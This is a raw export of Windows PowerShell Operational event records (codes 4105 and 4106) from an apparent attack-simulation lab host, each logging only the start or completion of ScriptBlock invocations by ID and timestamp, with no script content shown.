SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045695
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045690
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045689
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045667
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045666
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045665
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045664
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
